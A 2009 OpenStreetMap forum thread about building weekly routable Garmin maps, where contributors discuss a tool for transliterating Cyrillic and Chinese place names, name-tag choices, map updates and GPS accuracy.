I've made very sure that I have used the latest planet dump and other intermediate files for the new map update. Also, I've found no irregularities in the toolchain. So I'm very sure that the data used for the maps is up to date.
Edit: I've checked the planet file and it contains way 42003279 so it should be in the Garmin map too.
- Re: Worldwide routable Garmin maps: URL REMOVED · DerKomisar (Gast) · 26.10.2009 16:22 · [flux]
I can verify that my changes in Minnesota from early October are now in the tile I just downloaded. They were missing for about 1 or 2 cycles but it looks good now.
Thank you
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 26.10.2009 18:10 · [flux]
Lambertus wrote:
It would be useful if your code is able to read and write gz format. Alternatively, if it is able to read from stdin and write to stdout then pipes can be used in combination with the zcat and gzip tools which is fine too.
Will investigate this when time comes..
.. Are you planning on transliterating roadnames and POI as well?
That would be the next step indeed. With a minor code change/add to do. At least I'm interested to see how ways are stored in osm. I could test this soon for Ukrain. I just downloaded all bbox's for Ukrain and saved them also. 445MB. That is a nice file for testing on way's. That download took two and a half hour. It is a nice object first to see how much time is needed for extracting the place nodes. Transliterating them and ading an extra tag.
By the way. In Ukrain there are 30741 place names to do and 347 done.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 27.10.2009 02:12 · [flux]
many thanks Lambertus.
Everything looks good now.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 29.10.2009 12:02 · [flux]
Progress report:
Made a version which can handle a big data.osm file ( < 2GB or < 4Gb still don't know)
Use: Put transliterationtable files and matching boundary.gpx files in an "Areas' directory and drop the file.As I had a 445MB file from data of Ukrain and places just outside its border not only I put in an Area Ukrain but also from the neighbouring countries. So I could test if all nodes would be handled properly i.e. with the transliterationtable of their country.
It all works.
These were the Areas:
bulgarije
hungary
kazachstan
moldavie
poland
romania
russia
serbia
slowakia
transnistria
ukraina
witruslandTo my surprise about 700 from the 271237 nodes fell outside all areas. Did I miss a neighbouring country? The next run I made a .gpx file of those nodes and discovered that all points (well execpt two ) were from this island:
http://www.openstreetmap.org/?mlat=46.4 … rs=B000FTFI bet it belongs to Ukrain.
One of the two other outside all areas points was:
http://www.openstreetmap.org/?mlat=45.4 … 35.5707632
http://api.openstreetmap.org/api/0.6/node/311431487So a correct decision. ( Even if it had fallen inside Ukrains border I I would not have transliterated it as there is no place tag).
Lambertus wrote:
.... If this doesn't double or triple the processing time then I'm open to add such a script ...
How much time would you give me?
- Re: Worldwide routable Garmin maps: URL REMOVED · Yuri Nazarov (Gast) · 30.10.2009 16:33 · [flux]
greencaps wrote:
My idea is to write a program that downloads osm data for an area. (I know how to do that). Then look for above mentioned tags. If int_name and name:en where absent then name could be transliterated (automatically is simple) and added in that data as name:trans. (I know how to do that also). But then new data has to be uploaded. I do not know how such 'addings' have to be send and to whom.
Hi greencaps,
I don't recommend uploading transliterated names to OSM database.
The reasons are:-
Wikipedia lists about a dozen of transliteration schemes for Russian language. Which one should be used? Why?
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Bing Maps, Google Maps, Yahoo Maps use 3 different transliteration schemes.
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How do you keep transliterated name in sync when cyrillic name is changed?
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Some places may have established transliterated name, how do you differentiate those manually edited names vs. automatic?
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Some place names in Russia have been imported from vmap0 which is English only, and reverse English->Russian transliteration have been used, as a result there are many errors in the cyrillic names.
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There is ongoing project to match all place names from vmap0 against Russian address databases and other sources to spot all errors in cyrillic names and fix those.
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IMHO it's better to populate OSM database with translated names or at least the names matching vmap0, GNS, Geonames(?) databases.
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Transliteration depends on the source language. Russian->English (for example Kiev) is different from Ukrainian->English (Kyiv). Transliterating regions around the border can be quite tricky.
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Transliteration also depends on the target language, Russian->German is different from Russian->English.
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Belarus now has Russian names in the 'name' tag and Belarusian names in the 'name:be' tag. I don't know the reason for that (it might be due to import from data sources available only in Russian), but I can imagine they can switch the tags one day to have Belarusian language in the 'name' tag and Russian in the 'name:ru' tag. Persisted transliterated names will become incorrect...
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Transliterated Russian maps are already available: http://gpsmapsearch.com/osm/mp/__russia … ranslit.7z as well as some other countries.
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There are many requests for Russian maps suitable for foreign visitors on many GPS/sat-nav related forums. This problem is well understood and one day OSM will improve on that to include many tourist attractions, site seeing places, etc.., at least in English.
All of the above suggest it's better to do transliteration on the fly rather than persist one possible version out of many.
This way you can easily change transliteration schemes, change target language, etc... -
Wikipedia lists about a dozen of transliteration schemes for Russian language. Which one should be used? Why?
- Re: Worldwide routable Garmin maps: URL REMOVED · Yuri Nazarov (Gast) · 30.10.2009 17:11 · [flux]
Regarding 'name:trans'/'name:latin' tags:
In OSM we use 'name:<language>' scheme.
There is a standard scheme for specifying language codes (including regions, scripts and other details): see http://www.w3.org/International/articles/language-tags/ and RFC 5646.
According to this Russian written in latin script would be 'name:ru-Latn'.
If you don't want to specify the language but still want to specify the script, then may be 'name:<script>' tag, i.e. name:Latn?
All script codes are 4-letter (the list of all possible values is available at http://unicode.org/iso15924/iso15924-codes.html) so there should be no confusion with language codes which are 2- or 3-letters. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.10.2009 19:10 · [flux]
Yuri, all valid arguments I'm sure. But afaik greencaps has no intention of uploading the results of his script. His script can be used by Garmin mapmakers like me (but also others) to help in transliteration. I'm sure that some transliteration in the maps is better then having questionmarks (?) all over the place (I know, it's especially a problem with my maps and Mkgmap).
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 31.10.2009 18:31 · [flux]
Yuri Nazarov wrote:
I don't recommend uploading transliterated names to OSM database.
Thank you for summarising considerations for adding transliterations to osm database. I understand your concerns. At the moment my goal is an on the fly transliterater which can be put in Lambertus' build chain. Thank you for the links also. I will study them.
But meanwhile I will alo further develop my persistent updator.
If you don't want to specify the language but still want to specify the script, then may be 'name:<script>' tag, i.e. name:Latn?
That would be an option. But not enough as still the language had to be specified.
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IMHO it's better to populate OSM database with translated names or at least the names matching vmap0, GNS, Geonames(?) databases.
Agreed. I'm not familiar with vmap0, GNS and Geonames but will investigate when time comes... (Anybody who can give me a clue how to use them over the internet is kindly invited to give me a link or hint.)
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Belarus now has Russian names in the 'name' tag and Belarusian names in the 'name:be' tag. I don't know the reason for that (it might be due to import from data sources available only in Russian), but I can imagine they can switch the tags one day to have Belarusian language in the 'name' tag and Russian in the 'name:ru' tag. Persisted transliterated names will become incorrect...
I made a run for Belarus. There are 27956 nodes with place tags. 169 have name:be, 52 name:en and 11 int_name. It looks as if not to many people in Belarus are adding to osm. Why would not they write belarussian if they added by hand? By the way: looking for someone who can switch them? ;-).
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IMHO it's better to populate OSM database with translated names or at least the names matching vmap0, GNS, Geonames(?) databases.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 31.10.2009 18:41 · [flux]
Lambertus wrote:
.. His script can be used by Garmin mapmakers like me ...
Progress report.
Made a console version which reads from stdin and writes to stdout. As I have no program which would grab that output it was displayed in the console window. As I had no program also which would read the source and write it to stdout where I could read it from stdin I tested by reading from the file self.Where my not console version takes ten minutes for 500MB the console needed an hour. But I think this is because cmd.exe displays it all in its console window.
What is your build time and how much would you give me?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 31.10.2009 19:45 · [flux]
Yuri Nazarov wrote:
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Belarus now has Russian names in the 'name' tag and Belarusian names in the 'name:be' tag.
Even if a tag name:ru is there like here:
119310785 Полоцк
119306895 Новополоцк(I did not investigate how often this occurs.).
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Belarus now has Russian names in the 'name' tag and Belarusian names in the 'name:be' tag.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.11.2009 19:44 · [flux]
greencaps wrote:
Lambertus wrote:
.. His script can be used by Garmin mapmakers like me ...
Progress report.
Made a console version which reads from stdin and writes to stdout. As I have no program which would grab that output it was displayed in the console window. As I had no program also which would read the source and write it to stdout where I could read it from stdin I tested by reading from the file self.Where my not console version takes ten minutes for 500MB the console needed an hour. But I think this is because cmd.exe displays it all in its console window.
What is your build time and how much would you give me?
Ah, I see that you are developing under Windows... I hope you are writing portable code, because my map toolchain is running entirely under Linux....
I know from experience that displaying a lot of stuff takes a lot of extra time, so your 10 minutes-1 hour difference might have been caused by that. Don't worrry about that too much then. Stdin and Stdout are filepointers just like a regular file under Linux.
One, two, three hours extra for processing all of Europe, Africa, Asia and Oceania is not a problem for weekly updates.
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 03.11.2009 02:26 · [flux]
greencaps wrote:
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IMHO it's better to populate OSM database with translated names or at least the names matching vmap0, GNS, Geonames(?) databases.
Agreed. I'm not familiar with vmap0, GNS and Geonames but will investigate when time comes... (Anybody who can give me a clue how to use them over the internet is kindly invited to give me a link or hint.)
Just a word of warning for anyone about possibly using Geonames or GNS for adding to OSM ...
Make sure the data for the country is up to date. I know for a fact that the names for Korea are out of date since the Korean government changed the romanization/transliteration scheme in 2000.
We are doing pretty well, though, in adding names to the Korean data. :-)
Robert
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IMHO it's better to populate OSM database with translated names or at least the names matching vmap0, GNS, Geonames(?) databases.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 05.11.2009 17:42 · [flux]
Lambertus wrote:
I hope you are writing portable code, because my map toolchain is running entirely under Linux....
That is a pitty. It's a lot of work to make it suitable for Linux.
I know from experience that displaying a lot of stuff takes a lot of extra time, so your 10 minutes-1 hour difference might have been caused by that.
Indeed. I rediscovered the > and < console redirecting operators. Under 10 minutes again.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 08.11.2009 18:05 · [flux]
Lambertus wrote:
The planet file is about 7.3 GB compressed which makes it about 80 GB (or so) uncompressed ...
Lambertus wrote:
One, two, three hours extra for processing all of Europe, Africa, Asia and Oceania is not a problem for weekly updates.
Ehhh. In 3:20 the windows console version can handle a half GB file. (only copiing takes 2 minutes and twenty seconds). So for 80 GB that would be more than nine hours. Or is this a wrong calculation? Maybe it has to be done in this way: Handling time for 0.5 GB 1 min (3:20 - 2:20). So 80GB 160 min == more than 2 and the half hour. Reading/writing 7.3 GB one hour. Together three and a half hour. Add some time for uncompressing/compressing.
greencaps wrote:
..The whole point with mkgmap and converting from one code tabel to the other is that it places a questionmark '?' if it cannot find a match. If it would just place one byte from the two bytes that it had to convert than it would do much better.
Ha.. not two bytes. UTF-8 is multibyte (from one to six) just read the rfc 2279.
http://www.ietf.org/rfc/rfc2279.txt
From multibyte the conversion will -usually- first go to two byte unicode followed by a conversion to one byte ansi. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.11.2009 18:35 · [flux]
The Europe, Asia, Africa and Oceania split is about half the planet size. It would be interesting to see how long the conversion actually takes. Depending on the outcome I can decide to run the conversion every time or to do it once in a while. There might be room for optimization here and there as well, so an initial test run that takes a day is no problem. But your numbers are encouraging, 2.5 hours is not a problem for weekly updates.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 08.11.2009 23:13 · [flux]
What data does mkgmap need to make a map? I mean if I read this data from stdin:
<node id="310855231" lat="43.1136926" lon="132.3507725" version="1" changeset="723122" user="Claudius Henrichs" uid="18069" visible="true" timestamp="2008-11-09T19:12:36Z">
<tag k="name" v="Большой Камень"/>
<tag k="place" v="village"/>
<tag k="created_by" v="Potlatch 0.10f"/>
<tag k="name:de" v="Bolschoi Kamen"/>
</node>
<node id="34395335" lat="43.1836793" lon="44.5326631" version="6" changeset="1624986" user="KekcuHa" uid="30590" visible="true" timestamp="2009-06-25T19:21:56Z">
<tag k="name" v="Беслан"/>
<tag k="place" v="town"/>
<tag k="cladr:name" v="Беслан"/>
<tag k="created_by" v="Potlatch 0.10b"/>
<tag k="addr:postcode" v="363000"/>
<tag k="addr:district" v="Правобережный район"/>
<tag k="int_name" v="Beslan"/>
<tag k="cladr:code" v="1500800100000"/>
<tag k="addr:country" v="RU"/>
<tag k="addr:region" v="Северная Осетия - Алания республика"/>
<tag k="is_in" v="Republic of North Ossetia-Alania, Russia"/>
<tag k="cladr:suffix" v="Город"/>
</node>would it be ok to only write to stdout:
<node id="310855231" lat="43.1136926" lon="132.3507725">
<tag k="place" v="village"/>
<tag k="name:transliterated" v="Bolshoi Kamel"/>
</node>
<node id="34395335" lat="43.1836793" lon="44.5326631" >
<tag k="place" v="town"/>
<tag k="int_name" v="Beslan"/>
</node>Where my program takes extra time it could save the next in the link time by offering less data? Just an idea.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 10.11.2009 10:58 · [flux]
Buadhai wrote:
Google translate does a fair job. I entered "น้ำไหลลงเขา" and told it to detect the language and translate to English. It came up with "Water flows downhill." Google detected Thai and translated correctly.
So, the technology exists.
Notepad does also. Wordpad not. Firefox also.(no charset definition needed). Here on XP.
Tile 63240031 -covering part of Thailand- which I downloaded from Lambertus' site contains also a lot of questionmarks. I suppose from unconverted Thai characters.
Is it possible or is the result readable/(usable in a navigator) if the characters are transliterated? If so then you could help me with defining a transliteration table. Please first confine if you want to do so. After that you will be presented a table to fill in.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.11.2009 11:36 · [flux]
Shall I split this transliteration subject off the discussion about my Garmin maps? I think this work deserves a separate topic...
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 10.11.2009 14:20 · [flux]
That is ok for me.
But... this is all for your Garmin maps... what else?
You could use as subject: Frontend transliterator.
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 12.11.2009 05:48 · [flux]
So, Lambertus.
Just wanted to say thank you sooo much for these maps. They make the GPS a whole lot better.
I am doing my part in helping update the map. I am a UPS driver, so I drive down multitudes of streets and see that a lot of them are named wrong in openstreetmap. But anyway, I keep my GPS in the truck with me and upload my traces to check for accuracy also.
Just wanted to say that I appreciate it and I want to do more. Is there a way I could help you update the routable maps so maybe we can get a steady weekly update?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 12.11.2009 23:39 · [flux]
Progress report:
The frontend transliterator runs under linux now too.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.11.2009 13:45 · [flux]
sphyg wrote:
Just wanted to say thank you sooo much for these maps. They make the GPS a whole lot better.
I am doing my part in helping update the map. I am a UPS driver, so I drive down multitudes of streets and see that a lot of them are named wrong in openstreetmap. But anyway, I keep my GPS in the truck with me and upload my traces to check for accuracy also.
Just wanted to say that I appreciate it and I want to do more. Is there a way I could help you update the routable maps so maybe we can get a steady weekly update?
Thanks for offer but the newer Mkgmap versions have some serious changes in output which I need to accommodate. Just did not have the time to do so yet (busy integrating Nominatim in www.yournavigation.org). Probably this weekend.
Having a delivery job really enables you to do some serious tracklogging indeed. Isn't every truck equipped with a company gps as well? If so, would it be possible to get an anonymized copy of available tracklogs? That would add an awful lot of traces...
greencaps wrote:
Progress report:
The frontend transliterator runs under linux now too.
Cool, I hope to be able to do some tests this weekend. Do you have a source or 64bit executable somewhere for download?
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 13.11.2009 14:17 · [flux]
Lambertus wrote:
Having a delivery job really enables you to do some serious tracklogging indeed. Isn't every truck equipped with a company gps as well? If so, would it be possible to get an anonymized copy of available tracklogs? That would add an awful lot of traces...
Every DIAD board has a GPS unit in it, but I do not believe that they use tracks. They are just in there so the supervisors can see where you are at the moment, not where you have been. Even so, I don't have the authority to grab all the track logs, if they did track them.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 13.11.2009 14:34 · [flux]
Lambertus wrote:
Cool, I hope to be able to do some tests this weekend. Do you have a source or 64bit executable somewhere for download?
Ehhh.. It was not my intention to publish the source. And if I had that intention -maybe in the future- I first had to clean it up (undo from windows stuff and not for this project needed code and so on).
64 bit ?? I hear it now...
Compiled (a world of warning messages) and linked (not a single message; just refused(well until I got the right setup)) it under an old Mandrakre distribution which surely isn't 64 bit. Would that run on your system though ?
Further my plan was to first let you try it out before it becomes public. So I wanted to send you the executable, a runtime lib (an old mandrake c++lib. On two modern live systems the executable would not run because that needed library failed. I did not yet test with that library supplied), and for about four countries the transliteration table files and boundary .gpx files.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.11.2009 14:53 · [flux]
sphyg wrote:
Lambertus wrote:
Having a delivery job really enables you to do some serious tracklogging indeed. Isn't every truck equipped with a company gps as well? If so, would it be possible to get an anonymized copy of available tracklogs? That would add an awful lot of traces...
Every DIAD board has a GPS unit in it, but I do not believe that they use tracks. They are just in there so the supervisors can see where you are at the moment, not where you have been. Even so, I don't have the authority to grab all the track logs, if they did track them.
Well, you could ask ... ;-)
greencaps wrote:
Lambertus wrote:
Cool, I hope to be able to do some tests this weekend. Do you have a source or 64bit executable somewhere for download?
Ehhh.. It was not my intention to publish the source. And if I had that intention -maybe in the future- I first had to clean it up (undo from windows stuff and not for this project needed code and so on).
64 bit ?? I hear it now...
Compiled (a world of warning messages) and linked (not a single message; just refused(well until I got the right setup)) it under an old Mandrakre distribution which surely isn't 64 bit. Would that run on your system though ?
Further my plan was to first let you try it out before it becomes public. So I wanted to send you the executable, a runtime lib (an old mandrake c++lib. On two modern live systems the executable would not run because that needed library failed. I did not yet test with that library supplied), and for about four countries the transliteration table files and boundary .gpx files.
Ok, if you don't want to release the code that's ok, it's just that there are so many operating systems around that it might be simpler for you to provide the code instead of having to compile an executable for each os. For what it's worth, if your application works well then I can imagine that it would be really be appreciated if you'd supply the source, so others can use and contribute to it as well.
Sorry that I didn't tell you that my machine runs 64 bit (which I need because memory usage of many of the OSM applications requires more then 2GB), but afaik 32bit applications should work on a 64bit system. We'll see soon enough when I try.
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 16.11.2009 05:13 · [flux]
Lambertus wrote:
Thanks for offer but the newer Mkgmap versions have some serious changes in output which I need to accommodate. Just did not have the time to do so yet (busy integrating Nominatim in www.yournavigation.org). Probably this weekend.
Still no update! 🙁. You must be busy. I totally understand! Hope to receive it soon!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.11.2009 10:28 · [flux]
sphyg wrote:
Lambertus wrote:
Thanks for offer but the newer Mkgmap versions have some serious changes in output which I need to accommodate. Just did not have the time to do so yet (busy integrating Nominatim in www.yournavigation.org). Probably this weekend.
Still no update! 🙁. You must be busy. I totally understand! Hope to receive it soon!
Relax, the maps are being uploaded since yesterday evening which takes 13 hours with my current internet connection (1 Mbit uplink).
Edit: the upload is finished.
This version has some new features: better address search (autocompletion support using the MDR file) and a new MapSource installer (Mkgmap's built-in one, instead of my own). The maps now have a family id and are installed in another directory. I hope it doesn't introduce new bugs.
It's probably best to cleanup previously installed OpenStreetMap routable world maps first before you install the new one
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 16.11.2009 14:44 · [flux]
Lambertus wrote:
Relax, the maps are being uploaded since yesterday evening which takes 13 hours with my current internet connection (1 Mbit uplink).
Edit: the upload is finished.
This version has some new features: better address search (autocompletion support using the MDR file) and a new MapSource installer (Mkgmap's built-in one, instead of my own). The maps now have a family id and are installed in another directory. I hope it doesn't introduce new bugs.
It's probably best to cleanup previously installed OpenStreetMap routable world maps first before you install the new one
AWESOME!!!! SWEET! You are doing an awesome job! I'm still new with this, so please forgive me!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.11.2009 15:21 · [flux]
sphyg wrote:
AWESOME!!!! SWEET! You are doing an awesome job! I'm still new with this, so please forgive me!
No problem, just remember we're all volunteers and spare time is scarce for everyone 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.11.2009 19:52 · [flux]
The gmapi build script for (MacOSX) RoadTrip now also includes the mdr files that are needed to get address search working. Feedback welcome.
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 17.11.2009 17:52 · [flux]
Lambertus wrote:
The gmapi build script for (MacOSX) RoadTrip now also includes the mdr files that are needed to get address search working. Feedback welcome.
I am new to the Mac and to RoadTrip. I just downloaded a map from http://garmin.na1400.info/routable.php today (17 November 2009) and installed it on Roadtrip 2.0.2. When you say "address search" I am presuming you mean "Find" and then select "Address" from the Find submenu.
Well, I did that but I get a popup menu saying "This map product does not support address search". Is that of any help to you?
I am running OSX 10.6.2
If you want the map's nsi info I have it.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.11.2009 18:29 · [flux]
Can you update your post with the url you received in the email? Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 17.11.2009 18:41 · [flux]
Is this what you mean:
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.11.2009 21:05 · [flux]
Yep, thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 17.11.2009 22:46 · [flux]
Groundspeak wrote:
Is this what you mean:
The roadtrip file in this directory does not have the index information added. Could it be, that it was generated before the updated gmapi script was in place? (The date on the file is 16-Nov-2009 12:24.)
Cheers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.11.2009 23:17 · [flux]
Hmm, I downloaded it and saw the mdr directory in the file so I assumed it was in place. But I now see from my previous post that I updated the gmapibuilder script later, should have spotted that myself. Thanks for having a look at it though.
- Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 17.11.2009 23:25 · [flux]
Clinton Gladstone wrote:
The roadtrip file in this directory does not have the index information added. Could it be, that it was generated before the updated gmapi script was in place? (The date on the file is 16-Nov-2009 12:24.)
I just generated a new map and tested it. The Roadtrip files were correctly generated with the proper index files. I assume then that the previous files were indeed generated before the updated script was in place.
There may, ahem, be other problems with the address search, but not with the gmapi generation script. ;-)
Cheers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.11.2009 12:14 · [flux]
Thanks Clinton for testing!
I've made a small upgrade to the toolchain and upped the 'version' by one day: A new Splitter version (Thanks Chris Miller!) now makes it possible to do recursive generation of the tiles without breaking the inter-tile routing as was the case for the last ~2 months. If you zoom in on NorthWest Europe you might notice that the tiles do not overlap anymore. If anyone still experiences inter-tile routing: please report. The same OSM data is used for 12-11-09 as was used for 11-11-09.
The next update will use the updated Splitter for America also.
- Re: Worldwide routable Garmin maps: URL REMOVED · Stang (Gast) · 20.11.2009 17:30 · [flux]
Any New Zealanders here that use these routable maps?
I have the Garmin/Navteq maps on my device for North America and Europe, but as luck would have it, I will be making a trip to New Zealand this spring (autumn in NZ, rather!). As this trip will definitely be a one-off, I am wondering if people have had much luck using these maps for finding places and routing between major points in NZ.
In Canada, the OSM maps are still very much a work in progress and can't be relied on for routing at this point. Still fun to use and find disconnected nodes to fix, etc. Although I'm not opposed to just buying the Garmin map for NZ, especially if it'll be necessary, but I thought I'd ask some opinions of the OSM community before dropping $100 on a map that I'll be using for 6 days.
Any info from New Zealanders or anyone who has used these maps there would be greatly appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.11.2009 20:25 · [flux]
Well you should ofcourse never soly rely on a gps, because batteries can get empty or the thing gets lost or whatever. Preparation and a 20 bucks standard highway map will help you get along quite nicely. This is what I do anyway because getting a general overview of an area from a 4" screen and slow processor is no sinecure.
Just browsing around New Zealand doesn't give me a feel that coverage is very good, but I could be wrong as New Zealand is way less crowded then Western Europe. Your future contributions for NZ are very welcome ofcourse 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 20.11.2009 21:23 · [flux]
Stang wrote:
Any New Zealanders here that use these routable maps?
You may wish to check the NZ Open GPS project, which appears to produce a high quality routable map:
Cheers
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 21.11.2009 22:03 · [flux]
Lambertus wrote:
--name-tag-list=name:en,int_name,name
Just downloaded 63240036.img from your site. That is a China tile. Inspected with wordpad it shows a lot of english text but also a lot of questionmarks ???? ?????.
Then I downloaded the data.osm for that area and 'discovered' that nearly all 'place's which names were not in english but in chinese had an extra tag name:zh_py.
<node id="244080391" lat="32.2327247" lon="111.5087209" version="1" changeset="711157" user="dkt" uid="5553" visible="true" timestamp="2008-01-30T02:18:19Z">
<tag k="place" v="county"/>
<tag k="name:zh" v="谷城县"/>
<tag k="name" v="谷城县"/>
<tag k="gns:UFI" v="-1907473"/>
<tag k="gns:DSG" v="ADM3"/>
<tag k="gns:ADM1" v="12"/>
<tag k="created_by" v="dkt_GNS-import-1"/>
<tag k="name:zh_py" v="Gucheng Xian"/>
<tag k="gns:UNI" v="10069652"/>
</node>This name:zh_py is like int_name and name:en and contains alway english ansi.
Suggestion: you could add this tag to your name tag list.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.11.2009 23:07 · [flux]
Yes, I can do that.
Edit: done, just in time for the update. - Re: Worldwide routable Garmin maps: URL REMOVED · coach (Gast) · 22.11.2009 21:56 · [flux]
hi Lambertus. Glad to have found such site discussing about garmin maps.
i have a garmin 255 and wanted to install the map of cyprus. have noticed in my unit that only the major roads are available.
how can i install openstreet maps on my unit? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.11.2009 13:47 · [flux]
Select Cyprus on the website map, enter your email address and click the button. The site will confirm your request (or return an error).
If successful, you will receive an email with an URL. Open the URL and discover a few files.
I'm not familiar with the Nuvi 255, but here is some generic information on how to get the map on your device.
- Re: Worldwide routable Garmin maps: URL REMOVED · Stang (Gast) · 23.11.2009 18:33 · [flux]
Thanks everyone for your quick responses about the New Zealand maps. Some good advice, to be sure.
I always make sure to take a paper map along with me, just in case of a dead/stolen/lost GPS while travelling. Like anything digital, a good backup is always a good idea!
Thanks again!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.11.2009 13:57 · [flux]
This weeks update is delayed due to tool problems. I'm reconfiguring to work around it, then do a regular update followed soon (hopefully) with an update using the same data but with the transliterator results from greencaps included.
Edit: the new update is online. Looking at a sample in China it seems that using the name:zh_py tag is working very well! Next update will hopefully contain Russian, Polan, Romanian and maybe some other transliterations using greencaps's tool as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 26.11.2009 18:47 · [flux]
Lambertus wrote:
Yes, I can do that.
Edit: done, just in time for the update.--name-tag-list=name:en,int_name,name:zh_py,name
This is a succes. Just downloaded a tile of China 63240036.img and compared it to that of last week. There are so much less questionmarks.
In osm data of China I see: <tag k="name:zh_py" v="Guanghan Shi"/> and GUANGHAN SHI is now in the file. It was not last week.
I have to add that not always name:zh_py contains valid ansi (or is it ascii). But then what does it matter? A questionmark for the one or the other?
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 27.11.2009 00:56 · [flux]
Great Job guys. I am continuing to edit my area, and have covered a lot of territory for just myself working on it. Lambertus, I have a question. On your GPS unit, what is your accuracy reading when you are mapping. Mine is 9-14 fee always and was just wondering if this was sufficient.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.11.2009 09:39 · [flux]
sphyg: good job, have you become addicted already? 😉
Under normal conditions, placed on my bicycle mount and clear sky view the GPS displays the inaccuracy as 4-6 m. It gets worse in dense built-up areas or heavy tree cover. Keep moving in straight lines as much as possible helps the algorithms to estimate where you are.
9-14m is sufficient enough, especially if you are in unmapped countryside areas. A line that is possibly 10m off is better then no line at all.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.11.2009 11:24 · [flux]
It has come to my attention that some map building requests don't succeed (resulting in only an osm_routable_tiles.zip). This is probably due to an too-complex tile in the Netherlands (there might be other tiles too). I've reported this and hope a fix will be available soon.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 27.11.2009 14:37 · [flux]
Lambertus wrote:
sphyg: good job, have you become addicted already? 😉
Under normal conditions, placed on my bicycle mount and clear sky view the GPS displays the inaccuracy as 4-6 m. It gets worse in dense built-up areas or heavy tree cover. Keep moving in straight lines as much as possible helps the algorithms to estimate where you are.
9-14m is sufficient enough, especially if you are in unmapped countryside areas. A line that is possibly 10m off is better then no line at all.
I think sphyg had a typo (fee) and he, like me, resides in one of those less advanced parts of the planet where they still use "statute" units rather than metric. 9 to 14 feet is pretty good. Sphyg, are you using an external antenna? WAAS?
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 27.11.2009 22:31 · [flux]
Lambertus wrote:
Under normal conditions, placed on my bicycle mount and clear sky view the GPS displays the inaccuracy as 4-6 m. It gets worse in dense built-up areas or heavy tree cover. Keep moving in straight lines as much as possible helps the algorithms to estimate where you are.
9-14m is sufficient enough, especially if you are in unmapped countryside areas. A line that is possibly 10m off is better then no line at all.
I am addicted. My wife is hating me for it. You misunderstood me. Mine is feet. 9-14 feet would be 3-4 meters, not 10. So I am assuming that I am getting a good enough reading for reliable maps. Our measurment are, I belive, 3 feet = 1 Meter
- Re: Worldwide routable Garmin maps: URL REMOVED · sphyg (Gast) · 27.11.2009 22:36 · [flux]
Seldom wrote:
I think sphyg had a typo (fee) and he, like me, resides in one of those less advanced parts of the planet where they still use "statute" units rather than metric. 9 to 14 feet is pretty good. Sphyg, are you using an external antenna? WAAS?
Yes, you're right. I am using statute. I can switch it to metric to see what I am reading, and if its 4-6 meters then I know I am doing well! I just changed it as a matter of fact, and I am 7M accurate, INSIDE MY HOUSE! 🙂 So I will change it back to ft as I know I am doing good enough! WAAS is enabled, but no external antenna. I do it mostly on my bike, so would an external help. May look into getting one if it improves accuracy a lot.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.11.2009 10:58 · [flux]
The GPSmap 60CSx is a very good GPS, 4 to 7 meters accuracy is also very good, there is no need to get an external antenna imho. But if you do, please inform us of the gains in accuracy.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 28.11.2009 14:09 · [flux]
